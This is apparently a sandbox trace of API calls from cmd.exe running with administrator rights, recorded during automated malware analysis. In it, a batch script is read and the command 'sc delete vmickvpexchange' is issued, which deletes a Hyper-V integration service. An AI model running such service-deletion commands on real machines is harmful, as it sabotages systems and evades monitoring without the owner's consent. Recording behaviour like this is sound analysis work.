[0066.353] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0066.353] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.353] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.354] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0066.354] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.354] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.354] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0066.354] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.354] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.354] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0066.354] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.354] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.354] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0066.354] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.354] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.354] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.354] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0066.354] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.354] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.354] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0066.355] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.355] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.355] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0066.355] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.355] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.355] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0066.355] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.355] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.355] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0066.355] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.355] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.355] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.355] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="k") returned 1 [0066.355] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.355] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.355] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0066.356] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.356] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.356] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0066.356] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.356] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.356] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0066.356] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.356] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.356] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0066.356] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.356] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.356] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0066.356] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.356] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.356] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.356] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0066.356] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.357] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.357] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0066.357] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.357] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.357] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0066.357] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.357] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.357] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="g") returned 1 [0066.357] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.357] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.357] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0066.357] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.357] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.357] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0066.357] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0066.405] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.405] GetFileType (hFile=0xb8) returned 0x3 [0066.405] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.405] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.406] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.406] GetFileType (hFile=0x120) returned 0x3 [0066.406] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.406] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmickvpexchange\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmickvpexchange\n", lpUsedDefaultChar=0x0) returned 27 [0066.406] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x1a, lpOverlapped=0x0) returned 1 [0066.406] GetProcessHeap () returned 0x4a0000 [0066.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4bcd20 [0066.406] GetProcessHeap () returned 0x4a0000 [0066.406] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bcd20 | out: hHeap=0x4a0000) returned 1 [0066.406] _wcsicmp (_String1="sc", _String2=")") returned 74 [0066.406] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0066.406] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0066.406] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0066.406] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0066.406] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0066.406] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0066.406] GetProcessHeap () returned 0x4a0000 [0066.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4b97e0 [0066.406] GetProcessHeap () returned 0x4a0000 [0066.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b8900 [0066.407] GetProcessHeap () returned 0x4a0000 [0066.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4b98a0 [0066.408] GetConsoleOutputCP () returned 0x1b5 [0066.408] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0066.408] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.408] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.409] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0066.409] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0066.409] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0066.409] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0066.409] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0066.409] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0066.409] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0066.409] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0066.409] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0066.409] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0066.409] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0066.409] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0066.409] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0066.409] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0066.409] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0066.409] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0066.409] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0066.409] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0066.409] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0066.409] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0066.409] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0066.409] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0066.409] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0066.409] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0066.409] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0066.410] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0066.410] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0066.410] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0066.410] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0066.410] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0066.410] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0066.410] _wcsicmp (_String1="sc", _String2="START") returned -17 [0066.410] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0066.410] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0066.410] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0066.410] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0066.410] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0066.410] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0066.410] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0066.410] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0066.410] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0066.410] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0066.410] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0066.410] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0066.410] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0066.410] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0066.410] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0066.410] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0066.410] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0066.410] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0066.410] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0066.410] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0066.410] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0066.410] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0066.411] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0066.411] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0066.411] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0066.411] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0066.411] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0066.411] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0066.411] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0066.411] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0066.411] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0066.411] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0066.411] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0066.411] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0066.411] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0066.411] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0066.411] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0066.411] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0066.411] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0066.411] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0066.411] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0066.411] _wcsicmp (_String1="sc", _String2="START") returned -17 [0066.411] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0066.411] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0066.411] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0066.411] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0066.411] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0066.411] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0066.411] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0066.411] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0066.411] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0066.411] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0066.412] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0066.412] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0066.412] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0066.412] GetProcessHeap () returned 0x4a0000 [0066.412] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4a1ab0 [0066.412] GetProcessHeap () returned 0x4a0000 [0066.412] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x46) returned 0x4baa40 [0066.412] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0066.412] GetProcessHeap () returned 0x4a0000 [0066.412] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4b9a80 [0066.412] SetErrorMode (uMode=0x0) returned 0x1 [0066.412] SetErrorMode (uMode=0x1) returned 0x0 [0066.412] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4b9a90, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0066.412] SetErrorMode (uMode=0x1) returned 0x1 [0066.413] GetProcessHeap () returned 0x4a0000 [0066.413] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9a80, Size=0x62) returned 0x4b9a80 [0066.413] GetProcessHeap () returned 0x4a0000 [0066.413] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9a80) returned 0x62 [0066.413] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.413] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.414] GetProcessHeap () returned 0x4a0000 [0066.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4a1cd0 [0066.414] GetProcessHeap () returned 0x4a0000 [0066.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4b9b00 [0066.422] GetProcessHeap () returned 0x4a0000 [0066.422] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b00, Size=0x12a) returned 0x4b9b00 [0066.422] GetProcessHeap () returned 0x4a0000 [0066.422] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b00) returned 0x12a [0066.422] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.422] GetProcessHeap () returned 0x4a0000 [0066.422] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b5b70 [0066.422] GetProcessHeap () returned 0x4a0000 [0066.422] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b5b70, Size=0x7e) returned 0x4b5b70 [0066.422] GetProcessHeap () returned 0x4a0000 [0066.422] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b5b70) returned 0x7e [0066.424] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.424] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0066.424] GetLastError () returned 0x2 [0066.424] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0066.425] GetLastError () returned 0x2 [0066.425] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.425] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b5c00 [0066.425] GetProcessHeap () returned 